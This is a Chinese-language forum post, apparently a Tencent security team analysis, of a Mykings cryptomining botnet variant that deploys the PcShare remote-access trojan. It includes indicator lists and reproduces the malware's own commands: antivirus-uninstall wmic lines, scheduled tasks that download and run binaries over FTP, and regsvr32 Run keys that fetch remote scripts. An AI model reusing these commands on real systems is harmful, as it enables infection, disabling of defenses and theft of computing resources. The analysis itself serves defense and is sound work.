查看: 1582|回复: 0
收起左侧

[技术原创] Mykings僵尸网络新变种通过PcShare远程控制,已感染超5万台电脑挖矿

[复制链接]
腾讯电脑管家
发表于 2020-9-11 18:12:57 | 显示全部楼层 |阅读模式
本帖最后由 腾讯电脑管家 于 2020-9-11 18:21 编辑

一、背景
腾讯安全威胁情报中心检测到Mykings挖矿僵尸网络变种木马,更新后的Mykings会在被感染系统安装开源远程控制木马PcShare,对受害电脑进行远程控制:可进行操作文件、服务、注册表、进程、窗口等多种资源,并且可以下载和执行指定的程序。

Mykings僵尸网络木马还会关闭Windows Defender、检测卸载常见杀毒软件;卸载竞品挖矿木马和旧版挖矿木马;下载“暗云”木马感染硬盘主引导记录(MBR)实现长期驻留;通过计划任务、添加启动项等实现开机自动运行等行为。

MyKings僵尸网络最早于2017年2月左右开始出现,该僵尸网络通过扫描互联网上 1433 及其他多个端口渗透进入受害者主机,然后传播包括DDoS、Proxy(代{过}{滤}理服务)、RAT(远程控制木马)、Miner(挖矿木马)、暗云III在内的多种不同用途的恶意代码。由于MyKings僵尸网络主动扩散的能力较强,影响范围较广,对企业用户危害严重。根据门罗币钱包算力1000KH/s进行推测,Mykings僵尸网络目前已控制超过5万台电脑进行挖矿作业。

腾讯安全系列产品已支持检测、清除Mykings僵尸网络的最新变种,具体响应清单如下:

二、样本分析
mykings通过mssql爆破(1433端口)攻击windows服务器,爆破登陆成功后执行Powershell脚本power.txt。Power.txt首先关闭Windows Defender相关功能,然后下载kill.txt清除旧版挖矿程序。


Kill.txt根据进程名匹配旧版挖矿程序,其中标记为“1”代表清除对应的WMI启动项,列表中Mykings常用进程名包括:
uihost64.exe、dhelper.exe、msinfo.exe、u.exe、lsmose.exe、lsmos.exe、lsmo.exe、csrw.exe、csrw.exe、lsmosee.exe、lsmma.exe、lsmm.exe、lsmmaa.exe、lsmma.exe、new.exe、upsupx.exe、lsma.exe、lsmab.exe、lsmaaa.exe、lsma30.exe、lsma31.exe

删除旧版WMI事件过滤器“fuckyoumm2_filter”、消费者“fuckyoumm2_consumer”,从而删除WMI启动项。

2.1持久化
Power.txt接着下载uninstall.txt执行,完成卸载杀软、删除旧版挖矿木马、以及通过安装Windows计划任务、RUN启动项、WMI启动项进行本地持久化操作。

1、 卸载指定杀毒软件;
wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
cmd /c "C:\Progra
1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart

2、安装计划任务“oka”启动新版挖矿木马lsma12.exe,杀死进程java.exe;
schtasks /create /tn "oka" /tr "cmd /c start c:\windows\inf\aspnet\lsma12.exe -p" /ru "system" /sc onstart /F
wmic.exe process where ExecutablePath='c:\\windows\\java\\java.exe' call Terminate

3、安装计划任务"Mysa"、"Mysa2",在每次系统启动时执行命令,使用账号test密码1433登陆FTP服务器ftp[.]ftp0930[.]host下载木马a1.exe和s1.rar并执行;
schtasks /create /tn "Mysa" /tr "cmd /c echo open ftp.ftp0930.host >s
echo test>>s
echo 1433>>s
echo binary>>s
echo get a1.exe c:\windows\update.exe>>s
echo bye>>s
ftp -s:s
c:\windows\update.exe" /ru "system" /sc onstart /F
schtasks /create /tn "Mysa2" /tr "cmd /c echo open ftp.ftp0930.host>ps
echo test>>ps
echo 1433>>ps
echo get s1.rar c:\windows\help\lsmosee.exe>>ps
echo bye>>ps
ftp -s:ps
c:\windows\help\lsmosee.exe" /ru "system" /sc onstart /F

4、设置拒绝“system”用户访问指定文件和路径;
cacls c:\windows\java\java.exe /e /d system
cacls c:\windows\temp\servtestdos.dll /e /d system
cacls C:\WINDOWS\Fonts\cd /e /d system

5、安装RUN启动项“start”负责下载执行脚本v1.sct,同时删除旧启动项“start1”,删除旧计划任务“Mysa3”、“ok”、“Mysa1”、“my1”。
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http[:]//js.down0116.info:280/v1.sct scrobj.dll" /f
reg add "HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http[:]//js.down0116.info:280/v1.sct scrobj.dll" /f
reg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /f
SCHTASKS /Delete /TN "Mysa3" /F
SCHTASKS /Delete /TN "ok" /F
SCHTASKS /Delete /TN "Mysa1" /F
SCHTASKS /Delete /TN "my1" /F

6、继续删除旧版的名称为“coronav”(新冠)的WMI启动项,同时安装新版的“coronav”WMI启动项,在其中通过Powershell下载和执行以下脚本:
http[:]//ruisgood.ru/power.txt
http[:]//gamesoxalic.com/power.txt
或者通过regsvr32下载和执行脚本:
http[:]//ruisgood.ru/s.txt
http[:]//gamesoxalic.com/s.txt

7、安装WMI启动项“fuckamm3”、“fuckamm4”启动新版挖矿木马程序:

8、Download.txt负责下载门罗币挖矿程序、Mykings更新程序和安装“暗云”木马感染程序:

2.2自更新
Download.txt下载的ups.dat为自解压程序,解压后释放多个文件到temp目录下,执行竞品挖矿木马清除、挖矿木马下载和启动,以及安装启动项等更新操作。释放的文件包括:
c:\windows\temp\ntuser.dat
c:\windows\temp\upx.exe
%temp%\c3.bat
%temp%\excludes
%temp%\n.vbs

Download.txt 下载的“暗云”木马max.rar会感染MBR执行shellcode,从云端获取Payload并最终获取Mykings相关木马文件。下载Payload网络流量如下:

首先从C2服务器http[:]//95.214.9.95/pld/cmd.txt下载cmd.txt。

然后向服务器(http[:]//95.214.9.95/pld/login.aspx?uid=***&info=***)发送上线信息,参数包括设备标识号uidinfo,其中info包括计算机名、出口IP、CPU型号、CPU数量、内存大小信息,info数据经过base64编码,服务器接收数据后返回“AcceptOK”。

2.3 PcShare远控木马
返回数据cmd.txt中指定下载的20200809.rar为PcShare开源远控木马,该木马在github上有多个版本https[:]//github.com/LiveMirror/pcshare。木马下载后被拷贝至:
c:\windows\debug\item.dat,启动命令为:
rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa。

PcShare可根据服务端指令执行以下多种远控功能,该木马源代码在多个共享平台可供下载,黑客可以随意下载和重新修改编译。
1.枚举、创建、重命名、删除文件和目录
2.枚举和终止进程
3.编辑注册表项和值
4.枚举和修改服务
5.枚举和控制窗口
6.执行二进制文件
7.从C&C或提供的URL下载其他文件
8.将文件上传到C&C
9.执行shell命令
10.显示消息框
11.重新启动或关闭系统

PcShare连接C2服务器:192.187.111.66:5566。

2.4挖矿
Download.txt从地址http[:]//ruisgood.ru/1201.rar下载得到XMRig挖矿程序,从地址http[:]//ruisgood.ru/config2.json下载得到挖矿配置文件,然后启动挖矿进程:
c:\windows\inf\aspnet\lsma12.exe
挖矿时使用矿池:xmr-eu1.nanopool.org:14444
门罗币钱包:
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka

查询该钱包,已挖矿获得143个XMR,折合人民币8万余元。而其矿池算力平均为1000Kh/s(盈利100美元/天),可推算约5万台电脑被控制挖矿。

IOCs
C&C
192.187.111.66:5566
95.214.9.95
Domain
ruisgood.ru
ftp.ftp0801.ru
gamesoxalic.com
ftp.ftp0930.host
js.down0116.info
js.mys2016.info
wmi.1217bye.host
js.5b6b7b.ru
up.mykings.pw
kriso.ru
f321y.com
down.f4321y.com
IP
199.168.100.74
173.247.239.186
174.128.235.243
223.25.247.152
167.88.180.175
139.5.177.10
173.247.239.186
185.239.227.82
URL
http[:]//ruisgood.ru/ups.dat
http[:]//ruisgood.ru/power.txt
http[:]//ruisgood.ru/1201.rar
http[:]//ruisgood.ru/uninstall.txt
http[:]//ruisgood.ru/max.rar
http[:]//ruisgood.ru/config2.json
http[:]//ruisgood.ru/s.txt
http[:]//ruisgood.ru/upx.exe
http[:]//ruisgood.ru/s.xsl
http[:]//ruisgood.ru/download2.txt
http[:]//ruisgood.ru/batpower.txt
http[:]//ruisgood.ru/ups.dat
http[:]//ruisgood.ru/download.txt
http[:]//ruisgood.ru/kill.txt
http[:]//ruisgood.ru/up.txt
http[:]//ruisgood.ru/wmi.txt
http[:]//ruisgood.ru/batpower.tx
http[:]//ruisgood.ru/up2.txt
http[:]//gamesoxalic.com/power.txt
http[:]//gamesoxalic.com/s.txt
ftp[:]//199.168.100.74/aa.exe
ftp[:]//199.168.100.74/1.dat
ftp[:]//ftp.ftp0801.ru/1.dat
ftp[:]//ftp.ftp0801.ru/aa.exe
ftp[:]//ftp.ftp0930.host/a1.exe
ftp[:]//ftp.ftp0930.host/s1.rar
http[:]//js.down0116.info:280/v1.sct
http[:]//174.128.235.243/wmi.txt
http[:]//174.128.235.243/upsupx2.exe
http[:]//174.128.235.243/u.exe
http[:]//199.168.100.74/20200809.rar
http[:]//199.168.100.74:8074/1201.rar
http[:]//173.247.239.186:9999/max.exe
http[:]//173.247.239.186:9999/u.exe
http[:]//185.239.227.82:8082/2.exe
http[:]//wmi.1217bye.host/S.ps1
http[:]//95.214.9.95/pld/cmd.txt
http[:]//223.25.247.152:8152/batpower.txt
http[:]//167.88.180.175:8175/kill.txt
http[:]//167.88.180.175:8175/uninstall.txt
http[:]//139.5.177.10:280/psa.jpg
http[:]//199.168.100.74/2.exe
http[:]//199.168.100.74:8074/2.exe
http[:]//173.247.239.186/2.exe
http[:]//185.239.227.82:8082/2.exe
http[:]//173.247.239.186:9999/2.exe
http[:]//js.5b6b7b.ru/v.sct
http[:]//js.5b6b7b.ru:280/v.sct
http[:]//up.mykings.pw/update.txt
http[:]//kriso.ru/java12.dat
http[:]//js.ftp0930.host/helloworld.msi
http[:]//f321y.com:8888/dhelper.dat
http[:]//down.f4321y.com:8888/kill.html
md5

门罗币钱包:
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka
参考链接:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 12:44 , Processed in 0.140768 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表